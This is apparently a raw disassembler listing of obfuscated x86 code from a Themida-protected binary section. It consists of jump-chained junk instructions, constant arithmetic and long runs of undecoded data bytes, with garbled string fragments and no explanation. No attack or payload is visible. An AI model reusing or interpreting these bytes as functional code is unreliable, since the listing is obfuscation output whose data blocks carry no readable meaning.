dd 0E901CBAAh, 0AA94h, 8881E95Eh, 0F531FFFFh, 5DEE015Eh
dd 81243C8Bh, 4C4h, 24348700h, 2404315Ch, 6020E99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56B022: ; CODE XREF: Themida_:005678B0j
pop edi
jmp loc_571808
; ---------------------------------------------------------------------------
dd 99AF781h, 0F78172ABh, 53C46ED5h, 56E9FE89h, 57000095h
dd 0A6A3E9h, 0C3805C00h, 21B050C4h, 0D8F6C0FEh, 4F34C0FEh
dd 34FFC300h, 0E1E95824h, 0BD000048h, 4345B81h, 0CBA48368h
dd 0B03AE9FBh, 5058FFFFh, 8853D888h, 4501E9C7h, 0BA520000h
dd 16FB0086h, 8245401h, 247C015Ah, 246C8104h, 0FB008604h
dd 246C8116h, 0C868AD04h, 243C8B18h, 4C481h, 505B0000h
dd 4B8h, 8FEB8100h, 1717369h, 8FC381C3h, 58717369h, 7EA3E951h
dd 0C481FFFFh, 4, 34DEE9h, 0A5E95600h
db 1, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B0CB: ; CODE XREF: Themida_:005767D6j
shl cl, 8
add cl, 68h
push ecx
mov cl, 3Dh
and cl, 3Eh
shl cl, 7
jmp loc_56C2D3
; ---------------------------------------------------------------------------
loc_56B0DF: ; CODE XREF: Themida_:00563A9Dj
add esp, 4
add esp, 4
jmp loc_563E30
; ---------------------------------------------------------------------------
dd 8904EC83h, 17E92434h
db 72h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B0FB: ; CODE XREF: Themida_:0056587Dj
add ebx, 4
sub ebx, 4
jmp loc_563994
; ---------------------------------------------------------------------------
dd 4EC835Ch, 0B9240C89h, 420D5242h, 4355F181h, 60E9378Fh
dd 810000ABh, 9E48AEE7h, 18BE5634h, 81271612h, 830C6CC6h
dd 5EF721FBh, 46FEC781h, 0E7C15010h, 0EFE94705h, 0F7FFFF82h
dd 0C68146D6h, 47139F19h, 505EF589h, 415E85B8h, 14F75048h
dd 0EC835824h, 243C8904h, 4B4A62BFh, 5FF8313Ch, 8D70E991h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B172: ; CODE XREF: Themida_:00564120j
mov ebp, esp
add ebp, 4
push eax
jmp loc_569CD0
; ---------------------------------------------------------------------------
dd 0FF5EBDE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56B185: ; CODE XREF: Themida_:0057189Cj
pop edx
pop dword ptr [esp]
push 18E8h
jmp loc_562246
; ---------------------------------------------------------------------------
db 5Bh
dd 348BF301h, 4C48124h, 8B000000h, 84E92404h
db 6Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B1A7: ; CODE XREF: Themida_:00565C45j
mov edx, [esp]
add esp, 4
pop ebx
jmp loc_57215B
; ---------------------------------------------------------------------------
dw 0E0D1h
dd 0CC0DE42Dh, 0DA76E9B0h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56B1C2: ; CODE XREF: Themida_:00572D38j
add esp, 4
push eax
push 39E96E3Fh
pop eax
mov dword ptr [edi+20h], 3E0540D7h
push ebx
mov ebx, 20h
add ebx, edi
push eax
jmp loc_567229
; ---------------------------------------------------------------------------
loc_56B1E4: ; CODE XREF: Themida_:0056117Bj
add ebp, edi
pop edi
jmp loc_573C9E
; ---------------------------------------------------------------------------
dd 0BEB551ACh, 1741E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B1F6: ; CODE XREF: Themida_:00572C55j
xchg ebx, [esp]
pop esp
push 5BC9h
mov [esp], ebx
sub esp, 4
jmp loc_56636D
; ---------------------------------------------------------------------------
dw 4040h
dd 3506E8C1h, 33C0A994h, 0FF8ED3E9h, 685854FFh, 1952h
dd 0BD242C89h, 4F420CF0h, 0CECED81h, 18E94F42h, 81000069h
dd 69438BEBh, 529BE972h, 0C6810000h, 4, 4C681h, 34870000h
dd 0FE295C24h, 5BBC681h, 34FF5F02h, 243C8B24h, 8304C483h
dd 685504C4h, 3A471A62h, 0E92434FFh, 1C9Dh, 9B1B1DBEh
dd 0E2EA8162h, 0E959925Ah, 0FFFFEFDFh, 4240483h, 0E189515Dh
dd 4C181h, 0E9830000h, 74FF5104h, 8F590424h, 0C6E92404h
db 77h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56B29F: ; CODE XREF: Themida_:0056E8ABj
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_564FDA
; ---------------------------------------------------------------------------
loc_56B2DA: ; CODE XREF: Themida_:005648DBj
add ebp, 55A60966h
jmp loc_565503
; ---------------------------------------------------------------------------
loc_56B2E5: ; CODE XREF: Themida_:00573CA7j
add ecx, 10386358h
add ecx, 4D143FE9h
jmp loc_56F3E8
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 51F068h, 24148900h, 0FFD498E9h, 0EC815BFFh, 4, 57243489h
dd 0CA6D6168h, 243C8B34h, 0E904C483h, 0FFFFFD04h, 0E7E9505Bh
dd 52FFFFECh, 8052B450h, 0DCF6DFE4h, 0E972F480h, 14D9h
dd 2B8h, 0FFC10100h, 83582434h, 7CE904C4h, 83FFFF7Dh, 148704EAh
dd 5CFBE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56B35A: ; CODE XREF: Themida_:0056EB35j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push edx
xchg eax, [esp]
jmp loc_56E745
; ---------------------------------------------------------------------------
dd 0B1240C89h, 88B753C1h, 28EDC180h, 0C267E9F9h, 405FFFFh
dd 5000000h, 4, 5C240487h, 3302C183h, 3E9240Ch
db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56B39B: ; CODE XREF: Themida_:0056115Bj
xor esi, 3B2E1BB7h
not esi
xor esi, 0EF9AD058h
push ebx
push esi
pop ebx
mov edx, ebx
pop ebx
pop esi
push esi
jmp loc_569876
; ---------------------------------------------------------------------------
loc_56B3B6: ; CODE XREF: Themida_:005637CBj
mov edi, [esp]
add esp, 4
jmp loc_574C97
; ---------------------------------------------------------------------------
loc_56B3C1: ; CODE XREF: Themida_:005753DFj
add esp, 4
push 6E7Ah
mov [esp], esi
mov esi, 2
add edx, esi
mov esi, [esp]
add esp, 4
jmp loc_5729B0
; ---------------------------------------------------------------------------
loc_56B3DE: ; CODE XREF: Themida_:00574B5Ej
pop ebp
xor ebp, 68451DDBh
pop esi
shr ebp, 3
jmp loc_5698B7
; ---------------------------------------------------------------------------
dw 0EE81h
dd 0F2FB129Fh, 815EF589h, 0C6042444h, 8179494Fh, 0D9042444h
dd 1170A77h, 8104246Ch, 0D904246Ch, 81170A77h, 0C604246Ch
dd 8B79494Fh, 8950242Ch, 8E1AE9E0h, 815AFFFFh, 633A49EBh
dd 2C815308h, 0FC4DCE24h, 0C7815F4Ch, 4CFC4DCEh, 8B2434FFh
dd 0C483241Ch, 4C48304h, 0AB63E9h, 246C8100h, 0F30CF204h
dd 24540118h, 24448104h, 0F30CF204h, 48F5A18h, 0B8CCE924h
dd 0C483FFFFh, 4A14E904h, 0E9C10000h, 81D1F706h, 0C91C02C9h
dd 0E9D9F76Ch, 0FFFFDF4Dh, 0F9EF8147h, 8980561Bh, 1DE95FFDh
dd 8900006Dh, 19E9240Ch
db 4Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B49B: ; CODE XREF: Themida_:0056540Ej
add ebp, edi
pop edi
xchg ebp, [esp]
pop esp
push esi
mov esi, 2
jmp loc_565AEE
; ---------------------------------------------------------------------------
db 0ADh, 81h, 0ECh
dd 4, 19F4E9h, 0EAE95600h, 0BD000077h, 7B174B4Eh, 1B77B951h
dd 0E9537A49h, 3DBAh
; ---------------------------------------------------------------------------
loc_56B4D0: ; CODE XREF: Themida_:00575B30j
push esi
mov esi, 6B4E3483h
and esi, 2D116C1Ch
jmp loc_56FC1C
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 33000000h, 3C31243Ch, 243C3324h, 0FF24248Bh, 34FF2434h
dd 24148B24h, 0E9E38953h, 46B7h, 835DEB01h, 0FF5304EBh
dd 0FF042474h, 815B2434h, 4C4h, 24048F00h, 8924248Bh, 0E9542434h
dd 0FFFFE44Ah, 23F18141h, 89D4672Ch, 240C8BCEh, 104C483h
dd 24348BF7h, 81E78957h, 4C7h, 4C78100h, 87000000h, 685C243Ch
dd 184Bh, 0E9243C89h, 0FFFFF26Eh
; ---------------------------------------------------------------------------
loc_56B55C: ; CODE XREF: Themida_:0056DBFFj
add esi, 2
xchg esi, [esp]
pop esp
jmp loc_572E82
; ---------------------------------------------------------------------------
dd 83DEF75Eh, 0EC81FFEEh, 4, 0B8240489h, 3CFC1150h, 72D97A05h
dd 0F6B951DDh, 293F6407h, 8010E9CEh, 81530000h, 4ECh, 24148900h
dd 0FFAD7FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56B59D: ; CODE XREF: Themida_:00575A63j
push 193Ah
jmp loc_571097
; ---------------------------------------------------------------------------
db 51h
dd 4B9h, 1C8B5100h, 4C48324h, 138CE9h, 0F6814E00h, 0D5C625D1h
dd 565EF301h, 4318E9h, 0E9C32900h, 5969h, 2BC0685Ah, 0D1E90000h
dd 57FFFF62h, 4BFh, 3CC28100h, 2920222Ah, 3CEA81FAh, 5F20222Ah
dd 0FFAD46E9h, 6E9C0FFh, 66D9C180h, 2414F651h, 0C1FE5966h
dd 66EDB050h, 79B75352h, 0FE0037B6h, 83241C8Bh, 76E904C4h
dd 5B000028h, 0FF946DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56B621: ; CODE XREF: Themida_:0056EBC6j
push 689813AEh
jmp loc_563013
; ---------------------------------------------------------------------------
loc_56B62B: ; CODE XREF: Themida_:005737AAj
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop dword ptr [edi+24h]
loc_56B636: ; CODE XREF: Themida_:0056A6E9j
push edi
mov edi, ebx
push ebx
mov ebx, edi
push esi
push ebx
jmp loc_575144
; ---------------------------------------------------------------------------
loc_56B643: ; CODE XREF: Themida_:0056C104j
push 4700h
mov [esp], ebx
mov ebx, 6A822782h
jmp loc_5769BD
; ---------------------------------------------------------------------------
db 0F7h, 0D2h, 53h
dd 0FFC764E9h, 240C89FFh, 8904EC83h, 34FF2404h, 978FE924h
dd 0C7290000h, 0FF988BE9h, 815D58FFh, 2C2h, 24143300h
dd 33241431h, 3BE92414h, 52000062h, 8EE9E289h, 28FFFFF7h
dd 240C8BE8h, 2C04C483h, 0E9E80095h, 0A3E0h
; ---------------------------------------------------------------------------
loc_56B6A4: ; CODE XREF: Themida_:005654D1j
add esi, 4
push edx
jmp loc_56E91B
; ---------------------------------------------------------------------------
dd 0B202AD2Dh, 714EE979h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B6BA: ; CODE XREF: Themida_:00570590j
pop esi
jmp loc_56C15A
; ---------------------------------------------------------------------------
dd 13E5B951h, 0C8294B3Ah, 0E9240C8Bh, 0FFFF62F1h
; ---------------------------------------------------------------------------
loc_56B6D0: ; CODE XREF: Themida_:00563BFDj
pop esi
shr eax, 12h
xor eax, ecx
xor eax, ecx
xor ecx, eax
xor eax, ecx
xor ecx, esi
xor esi, ecx
xor ecx, esi
push 5F98h
mov [esp], esi
not dword ptr [esp]
pop esi
push esi
mov esi, esp
add esi, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_567376
; ---------------------------------------------------------------------------
dd 0E53B951h, 0E9816CDBh, 699470DAh, 43B6E981h, 0E9C150EAh
dd 0BDC18102h, 90CB4EEh, 7009E9CFh, 0FA010000h, 27C2815Fh
dd 816EDD26h, 3D521BC2h, 5900E919h, 1433FFFFh, 24248B24h
dd 0FF77DFE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56B74D: ; CODE XREF: Themida_:005754A6j
xor [esp], ebp
xor ebp, [esp]
jmp loc_571D2F
; ---------------------------------------------------------------------------
loc_56B758: ; CODE XREF: Themida_:0056C69Cj
add eax, edx
pop edx
xor ebx, eax
push 0AC9h
mov [esp], eax
jmp loc_561042
; ---------------------------------------------------------------------------
loc_56B76A: ; CODE XREF: Themida_:00566AFDj
pop edi
shr edx, 1
shl edx, 4
jmp loc_56C08A
; ---------------------------------------------------------------------------
db 68h, 18h, 0Ch
dd 0C890000h, 3307B924h, 3FE94D15h, 80FFFFCDh, 0C38083EBh
dd 4845E977h, 53AC0000h, 0C3815B54h, 4, 5304EB83h, 42474FFh
dd 24048F5Bh, 8924248Bh, 0B0502414h, 302DB279h, 0F28058C2h
dd 53E2D026h, 0C1E9FCB7h, 31FFFF9Bh, 1C33241Ch, 24248B24h
dd 0E9C39D61h, 0FFFF586Eh, 3A7BC281h, 1C8B37E7h, 4C48324h
dd 246C281h, 0C201777Fh, 246EA81h, 0D2E9777Fh
db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56B7F3: ; CODE XREF: Themida_:00570C55j
sub ebx, 4
jmp loc_568444
; ---------------------------------------------------------------------------
dw 0F828h
dd 1C8B5104h, 3EE95324h, 0F600004Bh, 80D986D3h, 0CB2807E9h
dd 592434FFh, 4C481h, 0EB800000h, 0B45052F4h, 7E16E9EDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B82A: ; CODE XREF: Themida_:00564FABj
mov esi, 49A562C0h
mov ebx, esi
pop esi
xor ebx, 22C877BBh
jmp loc_56C66D
; ---------------------------------------------------------------------------
db 0D1h, 0E3h, 81h
dd 888EE6F3h, 689FE9A7h, 15A0000h, 20B850CBh, 257CD31Fh
dd 8E44D65h, 31452548h, 43E930B0h, 2900008Eh, 0FFE0E9D3h
dd 0E9F7FFFFh, 72A468h, 240C8900h, 8626E9h, 0CFE9AD00h
dd 4D00002Ah, 4557E581h, 0C5817745h, 28B95C45h, 452BED81h
dd 8155254Ah, 75DF2434h, 815A1990h, 9075DFF2h, 242C8B19h
dd 4C481h, 0EA810000h, 0CF36AB8h, 0E907EAC1h, 84B1h, 0C681DEF7h
dd 7CB97F7Dh, 0FFE309E9h, 241C87FFh, 0E9EB015Ch, 0FFFF654Fh
dd 7CE9D689h
db 51h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56B8D7: ; CODE XREF: Themida_:005766CEj
push 6297h
mov [esp], ecx
mov ecx, esp
jmp loc_56CE09
; ---------------------------------------------------------------------------
loc_56B8E6: ; CODE XREF: Themida_:00568411j
pop eax
sub eax, 57DF169Dh
sub eax, ebp
jmp loc_56AD0E
; ---------------------------------------------------------------------------
aAaYfs00FSif db '¶ €ÆYfS³00Þf[鉔',0
db 0
; ---------------------------------------------------------------------------
loc_56B905: ; CODE XREF: Themida_:0056FF8Fj
xchg ebp, [esp]
mov esp, [esp]
xor ebp, 9B42F173h
and eax, ebp
push dword ptr [esp]
mov ebp, [esp]
push ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
xor ebx, [esp]
jmp loc_56BBD0
; ---------------------------------------------------------------------------
dd 8904EC83h, 30B82404h, 0D0B5134h, 204B486Ch, 0FF86D6E9h
dd 5BDD00FFh, 673468h, 24148900h, 687FB050h, 5AD4h, 88240C89h
dd 0CF8853C1h, 0FFC036E9h, 0DC4935FFh, 0C101F463h, 8324048Bh
dd 0BB5304C4h, 494957B5h, 0C381D3F7h, 494957BAh, 1C8BD901h
dd 4C48324h, 0E9240C87h, 50C6h, 0E0C1405Bh, 0DD8F703h
dd 463173A1h, 0D4EA525h, 0DC890575h, 0C501DE2Eh, 8BE98958h
dd 0C481242Ch, 4, 2493BB53h, 0D9095CEBh, 1DB8E95Bh, 0B4BA0000h
dd 4A41C616h, 8A40E942h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56B9D6: ; CODE XREF: Themida_:00574839j
pop ecx
push 5239h
mov [esp], ebx
push 2
pop ebx
add esi, 1A971D9Ch
add esi, ebx
sub esi, 1A971D9Ch
pop ebx
jmp loc_5620DE
; ---------------------------------------------------------------------------
db 45h, 87h, 0DDh
dd 24348753h, 3487D6F7h, 0DD875B24h, 5D80E945h, 50660000h
dd 562CE99Ch, 0C181FFFFh, 4, 8704C183h, 875C240Ch, 61E9242Ch
dd 80000001h, 89E993F3h, 53000065h, 11427168h, 120E907h
dd 0F1290000h, 26FCE981h, 348B6132h, 4C48124h, 1000000h
dd 11C181F9h, 5F72F00Dh, 2B850h, 0C1010000h, 7DA4E958h
dd 0EC83FFFFh, 0B484E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56BA6E: ; CODE XREF: Themida_:00568B60j
pop ebp
push ecx
mov ecx, 1D6A1FACh
jmp loc_56ED2A
; ---------------------------------------------------------------------------
dw 0B151h
dd 28B9B080h, 2434FFC8h, 0E2895259h, 4C281h, 0C2810000h
dd 4, 8B241487h, 61E92424h, 5DFFFFB7h, 34FFF801h, 0A860E924h
dd 0D989FFFFh, 0FFAE47E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56BAB1: ; CODE XREF: Themida_:00571027j
mov edi, 5773009Ch
xor edi, 42825EE2h
mov edx, 47B653EFh
not edx
shl edx, 2
push edx
not dword ptr [esp]
mov edx, [esp]
add esp, 4
push 5856h
mov [esp], esi
jmp loc_56A803
; ---------------------------------------------------------------------------
dd 2A3C68h, 24348900h, 2E0608BEh, 0E9F02916h, 0FFFFE979h
; ---------------------------------------------------------------------------
loc_56BAF4: ; CODE XREF: Themida_:00571E62j
push dword ptr [esp]
jmp loc_56D12F
; ---------------------------------------------------------------------------
loc_56BAFC: ; CODE XREF: Themida_:0056D8BAj
pop edi
jmp loc_56C4B7
; ---------------------------------------------------------------------------
loc_56BB02: ; CODE XREF: Themida_:0056F84Aj
push dword ptr [esp]
pop esi
push 607h
mov [esp], ebx
push esp
jmp loc_56C6AA
; ---------------------------------------------------------------------------
dd 0FDAA042Dh, 0BF08E9A7h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56BB1E: ; CODE XREF: Themida_:0056CDFBj
push 4
pop edx
add ecx, edx
jmp loc_561397
; ---------------------------------------------------------------------------
loc_56BB2B: ; CODE XREF: Themida_:00572CD4j
mov esp, [esp]
jmp loc_56FCEE
; ---------------------------------------------------------------------------
db 5Eh
dd 148BD029h, 4C48124h, 35000000h, 85F621E6h, 3158C689h
dd 9798E9F2h, 1C890000h, 2474FF24h, 48F5B04h, 0AD4E924h
dd 15B0000h, 5B04245Ch, 0E92434FFh, 0FFFFD2F7h, 83243C8Bh
dd 0C8B04C4h, 0E2895224h, 4C281h, 0C2830000h, 24143304h
dd 0E9241431h, 979Dh, 2124248Bh, 0E99C2404h, 48Eh, 34FFD001h
dd 0C4835A24h, 64EBE904h, 148BFFFFh, 0E6895624h, 4C681h
dd 0C6830000h, 24348704h, 0A678E95Ch, 0FF560000h, 5E042474h
dd 5C24048Fh, 0E91C6F09h, 346Fh
; ---------------------------------------------------------------------------
loc_56BBD0: ; CODE XREF: Themida_:0056B933j
xor [esp], ebx
jmp loc_561A7E
; ---------------------------------------------------------------------------
dd 8B66D800h, 4AE9241Ch, 0FFFFFF69h, 669D1C77h, 2414D359h
dd 5450E99Ch, 1489FFFFh, 3C506824h, 8F540000h, 0FAE92404h
dd 0B80000ABh, 4, 8358C701h, 0FF5704C7h, 0E9042474h, 8EA5h
; ---------------------------------------------------------------------------
loc_56BC18: ; CODE XREF: Themida_:0056123Aj
pop eax
jmp loc_57450B
; ---------------------------------------------------------------------------
loc_56BC1E: ; CODE XREF: Themida_:00568777j
add ecx, 4
push 2412h
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ecx
push dword ptr [esp]
pop ebp
jmp loc_562FA2
; ---------------------------------------------------------------------------
aIus@ db '‰ãéß@',0
align 2
dw 0C281h
dd 3DDF71F0h, 95FEE95Fh, 0B7BB0000h, 501AED58h, 0BC6866B8h
dd 58C3214Bh, 0C4AF381h, 61E97B32h
db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56BC6F: ; CODE XREF: Themida_:00570967j
pop dword ptr [esp]
jmp loc_56D7C9
; ---------------------------------------------------------------------------
aISwu db 'ˆÔéwž',0
align 2
dw 0AD68h
dd 0FF258659h, 16E92434h, 0C1FFFF87h, 0E18104E9h, 182837AFh
dd 0FF18149h, 133B35Eh, 0E82959C8h, 934E2C2Dh, 95E3E933h
dd 0F180FFFFh, 0E9CC306Fh, 0FFFFBE26h, 5C240487h, 0B8E95056h
dd 5300003Ch, 13ABE9h, 0F7895E00h, 7FF2E95Eh, 91350000h
dd 893E921Dh, 24048BC7h, 0E9E18951h, 0FFFF7944h
; ---------------------------------------------------------------------------
loc_56BCE0: ; CODE XREF: Themida_:00575495j
mov ebp, esp
jmp loc_564EE0
; ---------------------------------------------------------------------------
loc_56BCE7: ; CODE XREF: Themida_:00574CACj
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
jmp loc_573F03
; ---------------------------------------------------------------------------
loc_56BCF8: ; CODE XREF: Themida_:0056F253j
and ebp, 3488447Ch
sub esp, 4
jmp loc_564538
; ---------------------------------------------------------------------------
loc_56BD09: ; CODE XREF: Themida_:005642A4j
xchg ebx, [esp]
pop esp
mov edx, [esp]
add esp, 4
push 2194h
jmp loc_56F186
; ---------------------------------------------------------------------------
dd 360055Fh, 0E801464Eh, 4E03602Dh, 0E9E95D46h
db 88h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56BD33: ; CODE XREF: Themida_:005632D3j
push ebp
mov ebp, 0DE9FDE78h
jmp loc_56159D
; ---------------------------------------------------------------------------
dw 0AF0Fh
dd 0E99C51C8h, 0FFFF52FAh, 33240C31h, 248B240Ch, 2595E924h
dd 0C1880000h, 5859CF88h, 2853C780h, 241C8BFCh, 4C481h
dd 0E3880000h, 2EEB8058h, 6BDEE9h, 1074B800h, 0A12D73FAh
dd 212D5EA7h, 0C18158C1h, 73144197h, 0F759CF89h, 814F4FD7h
dd 0FFFFFFC7h, 8336E9FFh, 0C90B0000h, 0EC16840Fh, 0EC83FFFFh
dd 7ED76804h, 24890000h, 24048324h, 0E2C6E904h, 0E955FFFFh
dd 0FFFFC2BCh
; ---------------------------------------------------------------------------
loc_56BDBC: ; CODE XREF: Themida_:0056695Fj
or ecx, 10326ECCh
jmp loc_5689A5
; ---------------------------------------------------------------------------
db 8Bh
dd 0F4E9243Ch, 5C000088h, 0FF526DE9h, 74FF51FFh, 0E9590424h
dd 0FFFF70B7h, 165368h, 241C8900h, 66685B54h, 0E9000010h
dd 1707h, 0FEBB5356h, 8979466Bh, 0D6F75BDEh, 4F69EE81h
dd 0F6E95763h, 8BFFFFD3h, 0C892424h, 4EC8124h, 89000000h
dd 0BA522424h, 4, 4245401h, 0E92434FFh, 0FFFFD700h, 6240E959h
dd 0E95CFFFFh, 0FFFFC491h, 9D617B05h, 14B7052Ah, 0D8013384h
dd 8414B72Dh, 617B2D33h, 342D2A9Dh, 5575EC10h, 71066856h
dd 0E95E7F58h, 0FFFF719Eh, 57D830ACh, 88E9E789h, 89FFFF9Dh
dd 5A542414h, 931E953h, 48F0000h, 0FF8DE924h, 0C383FFFFh
dd 74FF5304h, 8F5B0424h, 248B2404h, 4AE0424h, 2CD028DBh
dd 0FFAE2CDBh, 815A2434h, 4C4h, 5F685100h, 89000072h, 10B22414h
dd 0D530CDB5h, 8124148Bh, 4C4h, 2A34E900h, 0C1810000h
dd 69081F42h, 240C875Dh, 0FF87F1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56BECD: ; CODE XREF: Themida_:0057059Aj
add edx, eax
jmp loc_57535A
; ---------------------------------------------------------------------------
loc_56BED4: ; CODE XREF: Themida_:00566D61j
pop esi
add esp, 4
shr eax, 0Ch
xor eax, ecx
jmp loc_56FE36
; ---------------------------------------------------------------------------
dw 8159h
dd 4C4h, 4C38100h, 0E9000000h, 3A79h, 0D2B65266h, 5A66F400h
dd 4EC81h, 2DE90000h, 31FFFF6Ch, 0EFC15EF7h, 0EF814703h
dd 6325371Bh, 0FFFA1FE9h, 240C87FFh, 0BE56575Ch, 55082DD4h
dd 7DDEBD55h, 0EE31414Ch, 2E6C15Dh, 0E9D6F74Eh, 9DB1h
; ---------------------------------------------------------------------------
loc_56BF38: ; CODE XREF: Themida_:0056715Fj
xor dl, bh
pop bx
jmp loc_566329
; ---------------------------------------------------------------------------
db 0F7h, 0DFh, 0F7h
dd 0F1E781DFh, 4712F50Eh, 0F562C781h, 0FE89EFABh, 2474015Fh
dd 0DB61E904h, 0E089FFFFh, 7125E9h, 2434FF00h, 5854505Ah
dd 405h, 0EC815200h, 4, 83240C89h, 3C8904ECh, 1A05BF24h
dd 8FE97A64h
db 1Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56BF8B: ; CODE XREF: Themida_:00576B21j
add ebx, 4
xchg ebx, [esp]
pop esp
push edx
mov edx, 2
sub ebp, edx
pop edx
xor ebp, [esp]
xor [esp], ebp
jmp loc_56854D
; ---------------------------------------------------------------------------
dw 24BBh
dd 89000000h, 0F372E9DDh, 0EB29FFFFh, 51242C8Bh, 0C181E189h
dd 4, 4C181h, 0C870000h, 0C9F9E924h, 0B652FFFFh, 48EE808Bh
dd 0E6C0D6F6h, 80CEFE03h, 0B75340EEh, 5BF828C3h, 1E9F028h
dd 31FFFF7Dh, 3180E9EAh, 0C8300000h, 592434FFh, 0DAE95455h
dd 81000094h, 4C5h, 4C58300h, 8B242C87h, 48F2424h, 0AF77E924h
dd 0F309FFFFh, 8324348Bh, 0EBC104C4h, 2352E907h, 17E90000h
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56C02B: ; CODE XREF: Themida_:0056A8FCj
add esp, 4
add edx, 36E756BCh
sub edx, 91A254Fh
add edx, esi
push eax
mov eax, 305D5500h
sub eax, 615E6673h
xor eax, 524570CCh
shl eax, 8
neg eax
shr eax, 5
add eax, 6F71757h
add edx, eax
pop eax
push eax
mov eax, 36E756BCh
sub edx, eax
pop eax
jmp loc_57552C
; ---------------------------------------------------------------------------
db 81h, 0ECh, 4
dd 89000000h, 14F7243Ch, 0F7575F24h, 815F2414h, 3317A2C7h
dd 36FEE922h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56C08A: ; CODE XREF: Themida_:0056B770j
sub edx, 2D3418A2h
sub edx, 0C245C53Ah
add ebp, edx
pop edx
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push ebx
jmp loc_5725E0
; ---------------------------------------------------------------------------
dd 240C8B66h, 57E68956h, 4EC81h, 34890000h, 4EC8324h, 0E9240489h
dd 0FFFFB936h
; ---------------------------------------------------------------------------
loc_56C0C4: ; CODE XREF: Themida_:0056823Aj
bt [esp], eax
pushf
jmp loc_561042
; ---------------------------------------------------------------------------
dw 0D35Ch
dd 0E99C2424h, 0FFFF4F6Ah, 6F3C68h, 7C34E900h, 34FF0000h
dd 49685B24h, 89000010h, 7BE92404h, 33FFFF7Fh, 3C31243Ch
dd 243C3324h, 102E95Ch
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56C102: ; CODE XREF: Themida_:0056EDB3j
push esp
pop esi
jmp loc_56B643
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 0FFC0B60Fh, 51558734h, 0E0389D68h, 12E95937h
db 4Dh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56C11F: ; CODE XREF: Themida_:00566667j
xor ecx, 16F24773h
xor ecx, 6B5E442Ch
inc ecx
xor ecx, 397E6911h
xor ecx, 2A9761F6h
jmp loc_567937
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 89241C89h, 0AB81E9E3h, 0FE89FFFFh, 81DEF75Fh, 0C04A5AEEh
dd 0B67BE979h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56C15A: ; CODE XREF: Themida_:0056B6BBj
add edx, 4
xchg edx, [esp]
pop esp
push ebx
mov ebx, 0E7E3236h
push 70D3h
mov [esp], edx
mov edx, 39B79ADh
add edx, 0FFFFFFFFh
xchg edi, edx
not edi
xchg edi, edx
push edx
push eax
mov eax, 0FFFFFFFFh
sub [esp+4], eax
jmp loc_562E1F
; ---------------------------------------------------------------------------
db 81h
dd 4C5h, 2C58300h, 2474FF55h, 2434FF04h, 0E9242C8Bh, 47E8h
; ---------------------------------------------------------------------------
loc_56C1AC: ; CODE XREF: Themida_:005666ECj
push esi
push dword ptr [esp]
jmp loc_56CF25
; ---------------------------------------------------------------------------
db 50h, 0E9h, 0Ah
dd 1FFFFFBh, 1C8759CBh, 24248B24h, 6602EC83h, 66243C89h
dd 83535652h, 2C8904ECh, 2FBD6624h, 0EB89665Bh, 6BE9E9h
dd 37045C00h, 47E9D828h, 5C00004Bh, 12D8E9h
db 0
; ---------------------------------------------------------------------------
loc_56C1F1: ; CODE XREF: Themida_:00565288j
pop ebp
sub eax, 4DB10DA0h
sub eax, 1036080Dh
add eax, edi
push esi
jmp loc_56EEFF
; ---------------------------------------------------------------------------
dd 240C8966h, 8671E9h, 74FF5500h, 2C8B0424h, 4EC8324h
dd 89243C89h, 4C781E7h, 81000000h, 4C7h, 8145E900h, 0BD550000h
dd 11CB2E86h, 515DE989h, 0E92414F7h, 0FFFFD6EBh, 4EC815Bh
dd 0E9000000h, 0FFFF644Dh
; ---------------------------------------------------------------------------
loc_56C24C: ; CODE XREF: Themida_:00567814j
pop dword ptr [esp]
pop esp
push esp
jmp loc_563E0E
